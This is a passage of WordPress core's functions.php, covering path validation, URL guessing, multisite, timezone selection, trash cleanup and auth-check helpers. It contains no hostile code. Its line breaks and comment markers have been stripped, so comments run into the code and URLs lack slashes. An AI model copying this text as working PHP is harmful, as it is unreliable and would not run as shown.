validate_file( $file, $allowed_files = array() ) { if ( ! is_scalar( $file ) || '' === $file ) { return 0; } `../` on its own is not allowed: if ( '../' === $file ) { return 1; } More than one occurrence of `../` is not allowed: if ( preg_match_all( '#\.\./#', $file, $matches, PREG_SET_ORDER ) && ( count( $matches ) > 1 ) ) { return 1; } `../` which does not occur at the end of the path is not allowed: if ( false !== strpos( $file, '../' ) && '../' !== mb_substr( $file, -3, 3 ) ) { return 1; } Files not in the allowed file list are not allowed: if ( ! empty( $allowed_files ) && ! in_array( $file, $allowed_files, true ) ) { return 3; } Absolute Windows drive paths are not allowed: if ( ':' === substr( $file, 1, 1 ) ) { return 2; } return 0; } * * Determines whether to force SSL used for the Administration Screens. * * @since 2.6.0 * * @param string|bool $force Optional. Whether to force SSL in admin screens. Default null. * @return bool True if forced, false if not forced. function force_ssl_admin( $force = null ) { static $forced = false; if ( ! is_null( $force ) ) { $old_forced = $forced; $forced = $force; return $old_forced; } return $forced; } * * Guesses the URL for the site. * * Will remove wp-admin links to retrieve only return URLs not in the wp-admin * directory. * * @since 2.6.0 * * @return string The guessed URL. function wp_guess_url() { if ( defined( 'WP_SITEURL' ) && '' !== WP_SITEURL ) { $url = WP_SITEURL; } else { $abspath_fix = str_replace( '\\', '/', ABSPATH ); $script_filename_dir = dirname( $_SERVER['SCRIPT_FILENAME'] ); The request is for the admin. if ( strpos( $_SERVER['REQUEST_URI'], 'wp-admin' ) !== false || strpos( $_SERVER['REQUEST_URI'], 'wp-login.php' ) !== false ) { $path = preg_replace( '#/(wp-admin/?.*|wp-login\.php.*)#i', '', $_SERVER['REQUEST_URI'] ); The request is for a file in ABSPATH. } elseif ( $script_filename_dir . '/' === $abspath_fix ) { Strip off any file/query params in the path. $path = preg_replace( '#/[^/]*$#i', '', $_SERVER['PHP_SELF'] ); } else { if ( false !== strpos( $_SERVER['SCRIPT_FILENAME'], $abspath_fix ) ) { Request is hitting a file inside ABSPATH. $directory = str_replace( ABSPATH, '', $script_filename_dir ); Strip off the subdirectory, and any file/query params. $path = preg_replace( '#/' . preg_quote( $directory, '#' ) . '/[^/]*$#i', '', $_SERVER['REQUEST_URI'] ); } elseif ( false !== strpos( $abspath_fix, $script_filename_dir ) ) { Request is hitting a file above ABSPATH. $subdirectory = substr( $abspath_fix, strpos( $abspath_fix, $script_filename_dir ) + strlen( $script_filename_dir ) ); Strip off any file/query params from the path, appending the subdirectory to the installation. $path = preg_replace( '#/[^/]*$#i', '', $_SERVER['REQUEST_URI'] ) . $subdirectory; } else { $path = $_SERVER['REQUEST_URI']; } } $schema = is_ssl() ? 'https:' : 'http:'; set_url_scheme() is not defined yet. $url = $schema . $_SERVER['HTTP_HOST'] . $path; } return rtrim( $url, '/' ); } * * Temporarily suspends cache additions. * * Stops more data being added to the cache, but still allows cache retrieval. * This is useful for actions, such as imports, when a lot of data would otherwise * be almost uselessly added to the cache. * * Suspension lasts for a single page load at most. Remember to call this * function again if you wish to re-enable cache adds earlier. * * @since 3.3.0 * * @param bool $suspend Optional. Suspends additions if true, re-enables them if false. * Defaults to not changing the current setting. * @return bool The current suspend setting. function wp_suspend_cache_addition( $suspend = null ) { static $_suspend = false; if ( is_bool( $suspend ) ) { $_suspend = $suspend; } return $_suspend; } * * Suspends cache invalidation. * * Turns cache invalidation on and off. Useful during imports where you don't want to do * invalidations every time a post is inserted. Callers must be sure that what they are * doing won't lead to an inconsistent cache when invalidation is suspended. * * @since 2.7.0 * * @global bool $_wp_suspend_cache_invalidation * * @param bool $suspend Optional. Whether to suspend or enable cache invalidation. Default true. * @return bool The current suspend setting. function wp_suspend_cache_invalidation( $suspend = true ) { global $_wp_suspend_cache_invalidation; $current_suspend = $_wp_suspend_cache_invalidation; $_wp_suspend_cache_invalidation = $suspend; return $current_suspend; } * * Determines whether a site is the main site of the current network. * * @since 3.0.0 * @since 4.9.0 The `$network_id` parameter was added. * * @param int $site_id Optional. Site ID to test. Defaults to current site. * @param int $network_id Optional. Network ID of the network to check for. * Defaults to current network. * @return bool True if $site_id is the main site of the network, or if not * running Multisite. function is_main_site( $site_id = null, $network_id = null ) { if ( ! is_multisite() ) { return true; } if ( ! $site_id ) { $site_id = get_current_blog_id(); } $site_id = (int) $site_id; return get_main_site_id( $network_id ) === $site_id; } * * Gets the main site ID. * * @since 4.9.0 * * @param int $network_id Optional. The ID of the network for which to get the main site. * Defaults to the current network. * @return int The ID of the main site. function get_main_site_id( $network_id = null ) { if ( ! is_multisite() ) { return get_current_blog_id(); } $network = get_network( $network_id ); if ( ! $network ) { return 0; } return $network->site_id; } * * Determines whether a network is the main network of the Multisite installation. * * @since 3.7.0 * * @param int $network_id Optional. Network ID to test. Defaults to current network. * @return bool True if $network_id is the main network, or if not running Multisite. function is_main_network( $network_id = null ) { if ( ! is_multisite() ) { return true; } if ( null === $network_id ) { $network_id = get_current_network_id(); } $network_id = (int) $network_id; return ( get_main_network_id() === $network_id ); } * * Gets the main network ID. * * @since 4.3.0 * * @return int The ID of the main network. function get_main_network_id() { if ( ! is_multisite() ) { return 1; } $current_network = get_network(); if ( defined( 'PRIMARY_NETWORK_ID' ) ) { $main_network_id = PRIMARY_NETWORK_ID; } elseif ( isset( $current_network->id ) && 1 === (int) $current_network->id ) { If the current network has an ID of 1, assume it is the main network. $main_network_id = 1; } else { $_networks = get_networks( array( 'fields' => 'ids', 'number' => 1, ) ); $main_network_id = array_shift( $_networks ); } * * Filters the main network ID. * * @since 4.3.0 * * @param int $main_network_id The ID of the main network. return (int) apply_filters( 'get_main_network_id', $main_network_id ); } * * Determines whether site meta is enabled. * * This function checks whether the 'blogmeta' database table exists. The result is saved as * a setting for the main network, making it essentially a global setting. Subsequent requests * will refer to this setting instead of running the query. * * @since 5.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return bool True if site meta is supported, false otherwise. function is_site_meta_supported() { global $wpdb; if ( ! is_multisite() ) { return false; } $network_id = get_main_network_id(); $supported = get_network_option( $network_id, 'site_meta_supported', false ); if ( false === $supported ) { $supported = $wpdb->get_var( "SHOW TABLES LIKE '{$wpdb->blogmeta}'" ) ? 1 : 0; update_network_option( $network_id, 'site_meta_supported', $supported ); } return (bool) $supported; } * * Modifies gmt_offset for smart timezone handling. * * Overrides the gmt_offset option if we have a timezone_string available. * * @since 2.8.0 * * @return float|false Timezone GMT offset, false otherwise. function wp_timezone_override_offset() { $timezone_string = get_option( 'timezone_string' ); if ( ! $timezone_string ) { return false; } $timezone_object = timezone_open( $timezone_string ); $datetime_object = date_create(); if ( false === $timezone_object || false === $datetime_object ) { return false; } return round( timezone_offset_get( $timezone_object, $datetime_object ) / HOUR_IN_SECONDS, 2 ); } * * Sort-helper for timezones. * * @since 2.9.0 * @access private * * @param array $a * @param array $b * @return int function _wp_timezone_choice_usort_callback( $a, $b ) { Don't use translated versions of Etc. if ( 'Etc' === $a['continent'] && 'Etc' === $b['continent'] ) { Make the order of these more like the old dropdown. if ( 'GMT+' === substr( $a['city'], 0, 4 ) && 'GMT+' === substr( $b['city'], 0, 4 ) ) { return -1 * ( strnatcasecmp( $a['city'], $b['city'] ) ); } if ( 'UTC' === $a['city'] ) { if ( 'GMT+' === substr( $b['city'], 0, 4 ) ) { return 1; } return -1; } if ( 'UTC' === $b['city'] ) { if ( 'GMT+' === substr( $a['city'], 0, 4 ) ) { return -1; } return 1; } return strnatcasecmp( $a['city'], $b['city'] ); } if ( $a['t_continent'] == $b['t_continent'] ) { if ( $a['t_city'] == $b['t_city'] ) { return strnatcasecmp( $a['t_subcity'], $b['t_subcity'] ); } return strnatcasecmp( $a['t_city'], $b['t_city'] ); } else { Force Etc to the bottom of the list. if ( 'Etc' === $a['continent'] ) { return 1; } if ( 'Etc' === $b['continent'] ) { return -1; } return strnatcasecmp( $a['t_continent'], $b['t_continent'] ); } } * * Gives a nicely-formatted list of timezone strings. * * @since 2.9.0 * @since 4.7.0 Added the `$locale` parameter. * * @param string $selected_zone Selected timezone. * @param string $locale Optional. Locale to load the timezones in. Default current site locale. * @return string function wp_timezone_choice( $selected_zone, $locale = null ) { static $mo_loaded = false, $locale_loaded = null; $continents = array( 'Africa', 'America', 'Antarctica', 'Arctic', 'Asia', 'Atlantic', 'Australia', 'Europe', 'Indian', 'Pacific' ); Load translations for continents and cities. if ( ! $mo_loaded || $locale !== $locale_loaded ) { $locale_loaded = $locale ? $locale : get_locale(); $mofile = WP_LANG_DIR . '/continents-cities-' . $locale_loaded . '.mo'; unload_textdomain( 'continents-cities' ); load_textdomain( 'continents-cities', $mofile, $locale_loaded ); $mo_loaded = true; } $tz_identifiers = timezone_identifiers_list(); $zonen = array(); foreach ( $tz_identifiers as $zone ) { $zone = explode( '/', $zone ); if ( ! in_array( $zone[0], $continents, true ) ) { continue; } This determines what gets set and translated - we don't translate Etc strings here, they are done later. $exists = array( 0 => ( isset( $zone[0] ) && $zone[0] ), 1 => ( isset( $zone[1] ) && $zone[1] ), 2 => ( isset( $zone[2] ) && $zone[2] ), ); $exists[3] = ( $exists[0] && 'Etc' !== $zone[0] ); $exists[4] = ( $exists[1] && $exists[3] ); $exists[5] = ( $exists[2] && $exists[3] ); phpcs:disable WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText $zonen[] = array( 'continent' => ( $exists[0] ? $zone[0] : '' ), 'city' => ( $exists[1] ? $zone[1] : '' ), 'subcity' => ( $exists[2] ? $zone[2] : '' ), 't_continent' => ( $exists[3] ? translate( str_replace( '_', ' ', $zone[0] ), 'continents-cities' ) : '' ), 't_city' => ( $exists[4] ? translate( str_replace( '_', ' ', $zone[1] ), 'continents-cities' ) : '' ), 't_subcity' => ( $exists[5] ? translate( str_replace( '_', ' ', $zone[2] ), 'continents-cities' ) : '' ), ); phpcs:enable } usort( $zonen, '_wp_timezone_choice_usort_callback' ); $structure = array(); if ( empty( $selected_zone ) ) { $structure[] = '<option selected="selected" value="">' . __( 'Select a city' ) . '</option>'; } If this is a deprecated, but valid, timezone string, display it at the top of the list as-is. if ( in_array( $selected_zone, $tz_identifiers, true ) === false && in_array( $selected_zone, timezone_identifiers_list( DateTimeZone::ALL_WITH_BC ), true ) ) { $structure[] = '<option selected="selected" value="' . esc_attr( $selected_zone ) . '">' . esc_html( $selected_zone ) . '</option>'; } foreach ( $zonen as $key => $zone ) { Build value in an array to join later. $value = array( $zone['continent'] ); if ( empty( $zone['city'] ) ) { It's at the continent level (generally won't happen). $display = $zone['t_continent']; } else { It's inside a continent group. Continent optgroup. if ( ! isset( $zonen[ $key - 1 ] ) || $zonen[ $key - 1 ]['continent'] !== $zone['continent'] ) { $label = $zone['t_continent']; $structure[] = '<optgroup label="' . esc_attr( $label ) . '">'; } Add the city to the value. $value[] = $zone['city']; $display = $zone['t_city']; if ( ! empty( $zone['subcity'] ) ) { Add the subcity to the value. $value[] = $zone['subcity']; $display .= ' - ' . $zone['t_subcity']; } } Build the value. $value = implode( '/', $value ); $selected = ''; if ( $value === $selected_zone ) { $selected = 'selected="selected" '; } $structure[] = '<option ' . $selected . 'value="' . esc_attr( $value ) . '">' . esc_html( $display ) . '</option>'; Close continent optgroup. if ( ! empty( $zone['city'] ) && ( ! isset( $zonen[ $key + 1 ] ) || ( isset( $zonen[ $key + 1 ] ) && $zonen[ $key + 1 ]['continent'] !== $zone['continent'] ) ) ) { $structure[] = '</optgroup>'; } } Do UTC. $structure[] = '<optgroup label="' . esc_attr__( 'UTC' ) . '">'; $selected = ''; if ( 'UTC' === $selected_zone ) { $selected = 'selected="selected" '; } $structure[] = '<option ' . $selected . 'value="' . esc_attr( 'UTC' ) . '">' . __( 'UTC' ) . '</option>'; $structure[] = '</optgroup>'; Do manual UTC offsets. $structure[] = '<optgroup label="' . esc_attr__( 'Manual Offsets' ) . '">'; $offset_range = array( -12, -11.5, -11, -10.5, -10, -9.5, -9, -8.5, -8, -7.5, -7, -6.5, -6, -5.5, -5, -4.5, -4, -3.5, -3, -2.5, -2, -1.5, -1, -0.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 5.75, 6, 6.5, 7, 7.5, 8, 8.5, 8.75, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.75, 13, 13.75, 14, ); foreach ( $offset_range as $offset ) { if ( 0 <= $offset ) { $offset_name = '+' . $offset; } else { $offset_name = (string) $offset; } $offset_value = $offset_name; $offset_name = str_replace( array( '.25', '.5', '.75' ), array( ':15', ':30', ':45' ), $offset_name ); $offset_name = 'UTC' . $offset_name; $offset_value = 'UTC' . $offset_value; $selected = ''; if ( $offset_value === $selected_zone ) { $selected = 'selected="selected" '; } $structure[] = '<option ' . $selected . 'value="' . esc_attr( $offset_value ) . '">' . esc_html( $offset_name ) . '</option>'; } $structure[] = '</optgroup>'; return implode( "\n", $structure ); } * * Strips close comment and close php tags from file headers used by WP. * * @since 2.8.0 * @access private * * @see https:core.trac.wordpress.org/ticket/8497 * * @param string $str Header comment to clean up. * @return string function _cleanup_header_comment( $str ) { return trim( preg_replace( '/\s*(?:\*\/|\?>).', '', $str ) ); } * * Permanently deletes comments or posts of any type that have held a status * of 'trash' for the number of days defined in EMPTY_TRASH_DAYS. * * The default value of `EMPTY_TRASH_DAYS` is 30 (days). * * @since 2.9.0 * * @global wpdb $wpdb WordPress database abstraction object. function wp_scheduled_delete() { global $wpdb; $delete_timestamp = time() - ( DAY_IN_SECONDS * EMPTY_TRASH_DAYS ); $posts_to_delete = $wpdb->get_results( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < %d", $delete_timestamp ), ARRAY_A ); foreach ( (array) $posts_to_delete as $post ) { $post_id = (int) $post['post_id']; if ( ! $post_id ) { continue; } $del_post = get_post( $post_id ); if ( ! $del_post || 'trash' !== $del_post->post_status ) { delete_post_meta( $post_id, '_wp_trash_meta_status' ); delete_post_meta( $post_id, '_wp_trash_meta_time' ); } else { wp_delete_post( $post_id ); } } $comments_to_delete = $wpdb->get_results( $wpdb->prepare( "SELECT comment_id FROM $wpdb->commentmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < %d", $delete_timestamp ), ARRAY_A ); foreach ( (array) $comments_to_delete as $comment ) { $comment_id = (int) $comment['comment_id']; if ( ! $comment_id ) { continue; } $del_comment = get_comment( $comment_id ); if ( ! $del_comment || 'trash' !== $del_comment->comment_approved ) { delete_comment_meta( $comment_id, '_wp_trash_meta_time' ); delete_comment_meta( $comment_id, '_wp_trash_meta_status' ); } else { wp_delete_comment( $del_comment ); } } } * * Retrieves metadata from a file. * * Searches for metadata in the first 8 KB of a file, such as a plugin or theme. * Each piece of metadata must be on its own line. Fields can not span multiple * lines, the value will get cut at the end of the first line. * * If the file data is not within that first 8 KB, then the author should correct * their plugin file and move the data headers to the top. * * @link https:codex.wordpress.org/File_Header * * @since 2.9.0 * * @param string $file Absolute path to the file. * @param array $default_headers List of headers, in the format `array( 'HeaderKey' => 'Header Name' )`. * @param string $context Optional. If specified adds filter hook {@see 'extra_$context_headers'}. * Default empty string. * @return string[] Array of file header values keyed by header name. function get_file_data( $file, $default_headers, $context = '' ) { Pull only the first 8 KB of the file in. $file_data = file_get_contents( $file, false, null, 0, 8 * KB_IN_BYTES ); if ( false === $file_data ) { $file_data = ''; } Make sure we catch CR-only line endings. $file_data = str_replace( "\r", "\n", $file_data ); * * Filters extra file headers by context. * * The dynamic portion of the hook name, `$context`, refers to * the context where extra headers might be loaded. * * @since 2.9.0 * * @param array $extra_context_headers Empty array by default. $extra_headers = $context ? apply_filters( "extra_{$context}_headers", array() ) : array(); if ( $extra_headers ) { $extra_headers = array_combine( $extra_headers, $extra_headers ); Keys equal values. $all_headers = array_merge( $extra_headers, (array) $default_headers ); } else { $all_headers = $default_headers; } foreach ( $all_headers as $field => $regex ) { if ( preg_match( '/^(?:[ \t]*<\?php)?[ \t\#@]*' . preg_quote( $regex, '/' ) . ':(.*)$/mi', $file_data, $match ) && $match[1] ) { $all_headers[ $field ] = _cleanup_header_comment( $match[1] ); } else { $all_headers[ $field ] = ''; } } return $all_headers; } * * Returns true. * * Useful for returning true to filters easily. * * @since 3.0.0 * * @see __return_false() * * @return true True. function __return_true() { phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return true; } * * Returns false. * * Useful for returning false to filters easily. * * @since 3.0.0 * * @see __return_true() * * @return false False. function __return_false() { phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return false; } * * Returns 0. * * Useful for returning 0 to filters easily. * * @since 3.0.0 * * @return int 0. function __return_zero() { phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return 0; } * * Returns an empty array. * * Useful for returning an empty array to filters easily. * * @since 3.0.0 * * @return array Empty array. function __return_empty_array() { phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return array(); } * * Returns null. * * Useful for returning null to filters easily. * * @since 3.4.0 * * @return null Null value. function __return_null() { phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return null; } * * Returns an empty string. * * Useful for returning an empty string to filters easily. * * @since 3.7.0 * * @see __return_null() * * @return string Empty string. function __return_empty_string() { phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return ''; } * * Sends a HTTP header to disable content type sniffing in browsers which support it. * * @since 3.0.0 * * @see https:blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx * @see https:src.chromium.org/viewvc/chrome?view=rev&revision=6985 function send_nosniff_header() { header( 'X-Content-Type-Options: nosniff' ); } * * Returns a MySQL expression for selecting the week number based on the start_of_week option. * * @ignore * @since 3.0.0 * * @param string $column Database column. * @return string SQL clause. function _wp_mysql_week( $column ) { $start_of_week = (int) get_option( 'start_of_week' ); switch ( $start_of_week ) { case 1: return "WEEK( $column, 1 )"; case 2: case 3: case 4: case 5: case 6: return "WEEK( DATE_SUB( $column, INTERVAL $start_of_week DAY ), 0 )"; case 0: default: return "WEEK( $column, 0 )"; } } * * Finds hierarchy loops using a callback function that maps object IDs to parent IDs. * * @since 3.1.0 * @access private * * @param callable $callback Function that accepts ( ID, $callback_args ) and outputs parent_ID. * @param int $start The ID to start the loop check at. * @param int $start_parent The parent_ID of $start to use instead of calling $callback( $start ). * Use null to always use $callback. * @param array $callback_args Optional. Additional arguments to send to $callback. Default empty array. * @return array IDs of all members of loop. function wp_find_hierarchy_loop( $callback, $start, $start_parent, $callback_args = array() ) { $override = is_null( $start_parent ) ? array() : array( $start => $start_parent ); $arbitrary_loop_member = wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override, $callback_args ); if ( ! $arbitrary_loop_member ) { return array(); } return wp_find_hierarchy_loop_tortoise_hare( $callback, $arbitrary_loop_member, $override, $callback_args, true ); } * * Uses the "The Tortoise and the Hare" algorithm to detect loops. * * For every step of the algorithm, the hare takes two steps and the tortoise one. * If the hare ever laps the tortoise, there must be a loop. * * @since 3.1.0 * @access private * * @param callable $callback Function that accepts ( ID, callback_arg, ... ) and outputs parent_ID. * @param int $start The ID to start the loop check at. * @param array $override Optional. An array of ( ID => parent_ID, ... ) to use instead of $callback. * Default empty array. * @param array $callback_args Optional. Additional arguments to send to $callback. Default empty array. * @param bool $_return_loop Optional. Return loop members or just detect presence of loop? Only set * to true if you already know the given $start is part of a loop (otherwise * the returned array might include branches). Default false. * @return mixed Scalar ID of some arbitrary member of the loop, or array of IDs of all members of loop if * $_return_loop function wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override = array(), $callback_args = array(), $_return_loop = false ) { $tortoise = $start; $hare = $start; $evanescent_hare = $start; $return = array(); Set evanescent_hare to one past hare. Increment hare two steps. while ( $tortoise && ( $evanescent_hare = isset( $override[ $hare ] ) ? $override[ $hare ] : call_user_func_array( $callback, array_merge( array( $hare ), $callback_args ) ) ) && ( $hare = isset( $override[ $evanescent_hare ] ) ? $override[ $evanescent_hare ] : call_user_func_array( $callback, array_merge( array( $evanescent_hare ), $callback_args ) ) ) ) { if ( $_return_loop ) { $return[ $tortoise ] = true; $return[ $evanescent_hare ] = true; $return[ $hare ] = true; } Tortoise got lapped - must be a loop. if ( $tortoise == $evanescent_hare || $tortoise == $hare ) { return $_return_loop ? $return : $tortoise; } Increment tortoise by one step. $tortoise = isset( $override[ $tortoise ] ) ? $override[ $tortoise ] : call_user_func_array( $callback, array_merge( array( $tortoise ), $callback_args ) ); } return false; } * * Sends a HTTP header to limit rendering of pages to same origin iframes. * * @since 3.1.3 * * @see https:developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options function send_frame_options_header() { header( 'X-Frame-Options: SAMEORIGIN' ); } * * Retrieves a list of protocols to allow in HTML attributes. * * @since 3.3.0 * @since 4.3.0 Added 'webcal' to the protocols array. * @since 4.7.0 Added 'urn' to the protocols array. * @since 5.3.0 Added 'sms' to the protocols array. * @since 5.6.0 Added 'irc6' and 'ircs' to the protocols array. * * @see wp_kses() * @see esc_url() * * @return string[] Array of allowed protocols. Defaults to an array containing 'http', 'https', * 'ftp', 'ftps', 'mailto', 'news', 'irc', 'irc6', 'ircs', 'gopher', 'nntp', 'feed', * 'telnet', 'mms', 'rtsp', 'sms', 'svn', 'tel', 'fax', 'xmpp', 'webcal', and 'urn'. * This covers all common link protocols, except for 'javascript' which should not * be allowed for untrusted users. function wp_allowed_protocols() { static $protocols = array(); if ( empty( $protocols ) ) { $protocols = array( 'http', 'https', 'ftp', 'ftps', 'mailto', 'news', 'irc', 'irc6', 'ircs', 'gopher', 'nntp', 'feed', 'telnet', 'mms', 'rtsp', 'sms', 'svn', 'tel', 'fax', 'xmpp', 'webcal', 'urn' ); } if ( ! did_action( 'wp_loaded' ) ) { * * Filters the list of protocols allowed in HTML attributes. * * @since 3.0.0 * * @param string[] $protocols Array of allowed protocols e.g. 'http', 'ftp', 'tel', and more. $protocols = array_unique( (array) apply_filters( 'kses_allowed_protocols', $protocols ) ); } return $protocols; } * * Returns a comma-separated string or array of functions that have been called to get * to the current point in code. * * @since 3.4.0 * * @see https:core.trac.wordpress.org/ticket/19589 * * @param string $ignore_class Optional. A class to ignore all function calls within - useful * when you want to just give info about the callee. Default null. * @param int $skip_frames Optional. A number of stack frames to skip - useful for unwinding * back to the source of the issue. Default 0. * @param bool $pretty Optional. Whether you want a comma separated string instead of * the raw array returned. Default true. * @return string|array Either a string containing a reversed comma separated trace or an array * of individual calls. function wp_debug_backtrace_summary( $ignore_class = null, $skip_frames = 0, $pretty = true ) { static $truncate_paths; $trace = debug_backtrace( false ); $caller = array(); $check_class = ! is_null( $ignore_class ); $skip_frames++; Skip this function. if ( ! isset( $truncate_paths ) ) { $truncate_paths = array( wp_normalize_path( WP_CONTENT_DIR ), wp_normalize_path( ABSPATH ), ); } foreach ( $trace as $call ) { if ( $skip_frames > 0 ) { $skip_frames--; } elseif ( isset( $call['class'] ) ) { if ( $check_class && $ignore_class == $call['class'] ) { continue; Filter out calls. } $caller[] = "{$call['class']}{$call['type']}{$call['function']}"; } else { if ( in_array( $call['function'], array( 'do_action', 'apply_filters', 'do_action_ref_array', 'apply_filters_ref_array' ), true ) ) { $caller[] = "{$call['function']}('{$call['args'][0]}')"; } elseif ( in_array( $call['function'], array( 'include', 'include_once', 'require', 'require_once' ), true ) ) { $filename = isset( $call['args'][0] ) ? $call['args'][0] : ''; $caller[] = $call['function'] . "('" . str_replace( $truncate_paths, '', wp_normalize_path( $filename ) ) . "')"; } else { $caller[] = $call['function']; } } } if ( $pretty ) { return implode( ', ', array_reverse( $caller ) ); } else { return $caller; } } * * Retrieves IDs that are not already present in the cache. * * @since 3.4.0 * @since 6.1.0 This function is no longer marked as "private". * * @param int[] $object_ids Array of IDs. * @param string $cache_key The cache bucket to check against. * @return int[] Array of IDs not present in the cache. function _get_non_cached_ids( $object_ids, $cache_key ) { $non_cached_ids = array(); $cache_values = wp_cache_get_multiple( $object_ids, $cache_key ); foreach ( $cache_values as $id => $value ) { if ( ! $value ) { $non_cached_ids[] = (int) $id; } } return $non_cached_ids; } * * Tests if the current device has the capability to upload files. * * @since 3.4.0 * @access private * * @return bool Whether the device is able to upload files. function _device_can_upload() { if ( ! wp_is_mobile() ) { return true; } $ua = $_SERVER['HTTP_USER_AGENT']; if ( strpos( $ua, 'iPhone' ) !== false || strpos( $ua, 'iPad' ) !== false || strpos( $ua, 'iPod' ) !== false ) { return preg_match( '#OS ([\d_]+) like Mac OS X#', $ua, $version ) && version_compare( $version[1], '6', '>=' ); } return true; } * * Tests if a given path is a stream URL * * @since 3.5.0 * * @param string $path The resource path or URL. * @return bool True if the path is a stream URL. function wp_is_stream( $path ) { $scheme_separator = strpos( $path, ':' ); if ( false === $scheme_separator ) { $path isn't a stream. return false; } $stream = substr( $path, 0, $scheme_separator ); return in_array( $stream, stream_get_wrappers(), true ); } * * Tests if the supplied date is valid for the Gregorian calendar. * * @since 3.5.0 * * @link https:www.php.net/manual/en/function.checkdate.php * * @param int $month Month number. * @param int $day Day number. * @param int $year Year number. * @param string $source_date The date to filter. * @return bool True if valid date, false if not valid date. function wp_checkdate( $month, $day, $year, $source_date ) { * * Filters whether the given date is valid for the Gregorian calendar. * * @since 3.5.0 * * @param bool $checkdate Whether the given date is valid. * @param string $source_date Date to check. return apply_filters( 'wp_checkdate', checkdate( $month, $day, $year ), $source_date ); } * * Loads the auth check for monitoring whether the user is still logged in. * * Can be disabled with remove_action( 'admin_enqueue_scripts', 'wp_auth_check_load' ); * * This is disabled for certain screens where a login screen could cause an * inconvenient interruption. A filter called {@see 'wp_auth_check_load'} can be used * for fine-grained control. * * @since 3.6.0 function wp_auth_check_load() { if ( ! is_admin() && ! is_user_logged_in() ) { return; } if ( defined( 'IFRAME_REQUEST' ) ) { return; } $screen = get_current_screen(); $hidden = array( 'update', 'update-network', 'update-core', 'update-core-network', 'upgrade', 'upgrade-network', 'network' ); $show = ! in_array( $screen->id, $hidden, true ); * * Filters whether to load the authentication check. * * Returning a falsey value from the filter will effectively short-circuit * loading the authentication check. * * @since 3.6.0 * * @param bool $show Whether to load the authentication check. * @param WP_Screen $screen The current screen object. if ( apply_filters( 'wp_auth_check_load', $show, $screen ) ) { wp_enqueue_style( 'wp-auth-check' ); wp_enqueue_script( 'wp-auth-check' ); add_action( 'admin_print_footer_scripts', 'wp_auth_check_html', 5 ); add_action( 'wp_print_footer_scripts', 'wp_auth_check_html', 5 ); } } * * Outputs the HTML that shows the wp-login dialog when the user is no longer logged in. * * @since 3.6.0 function wp_auth_check_html() { $login_url = wp_login_url(); $current_domain = ( is_ssl() ? 'https:' : 'http:' ) . $_SERVER['HTTP_HOST']; $same_domain = ( strpos( $login_url, $current_domain ) === 0 ); * * Filters whether the authentication check originated at the same domain. * * @since 3.6.0 * * @param bool $same_domain Whether the authentication check originated at the same domain. $same_domain = apply_filters( 'wp_auth_check_same_domain', $same_domain ); $wrap_class = $same_domain ? 'hidden' : 'hidden fallback'; ?> <div id="wp-auth-check-wrap" class="<?php echo $wrap_class; ?>"> <div id="wp-auth-check-bg"></div> <div id="wp-auth-check"> <button type="button" class="wp-auth-check-close button-link"><span class="screen-reader-text"> <?php translators: Hidden accessibility text. _e( 'Close dialog' ); ?> </span></button> <?php if ( $same_domain ) { $login_src = add_query_arg( array( 'interim-login' => '1', 'wp_lang' => get_user_locale(), ), $login_url ); ?> <div id="wp-auth-check-form" class="loading" data-src="<?php echo esc_url( $login_src ); ?>"></div> <?php } ?> <div class="wp-auth-fallback"> <p><b class="wp-auth-fallback-expired" tabindex="0"><?php _e( 'Session expired' ); ?></b></p> <p><a href="<?php echo esc_url( $login_url ); ?>" target="_blank"><?php _e( 'Please log in again.' ); ?></a> <?php _e( 'The login page will open in a new tab. After logging in you can close it and return to this page.' ); ?></p> </div> </div> </div> <?php } * * Checks whether a user is still logged in, for the heartbeat. * * Send a result that shows a log-in box if the user is no longer logged in, * or if their cookie is within the grace period. * * @since 3.6.0 * * @global int $login_grace_period * * @param array $response The Heartbeat response. * @return array The Heartbeat response with 'wp-auth-check' value set. function wp_auth_check( $response ) { $response['wp-auth-check'] = is_user_logged_in() && empty( $GLOBALS['login_grace_period'] ); return $response; } * * Returns RegEx body to liberally match an opening HTML tag. * * Matches an opening HTML tag that: * 1. Is self-closing or * 2. Has no body but has a closing tag of the same name or * 3. Contains a body and a closing tag of the same name * * Note: this RegEx does not balance inner tags and does not attempt * to produce valid HTML * * @since 3.6.0 * * @param string $tag An HTML tag name. Example: 'video'. * @return string Tag RegEx. function get_tag_regex( $tag ) { if ( empty( $tag ) ) { return ''; } return sprintf( '<%1$s[^<]*(?:>[\s\S]*<\/%1$s>|\s*\/>)', tag_escape( $tag ) ); } * * Retrieves a canonical form of the provided charset appropriate for passing to PHP * functions such as htmlspecialchars() and charset HTML attributes. * * @since 3.6.0 * @access private * * @see https:core.trac.wordpress.org/ticket/23688 * * @param string $charset A charset name. * @return string The canonical form of the charset. function _canonical_charset( $charset ) { if ( 'utf-8' === strtolower( $charset ) || 'utf8' === strtolower( $charset ) ) { return 'UTF-8'; } if ( 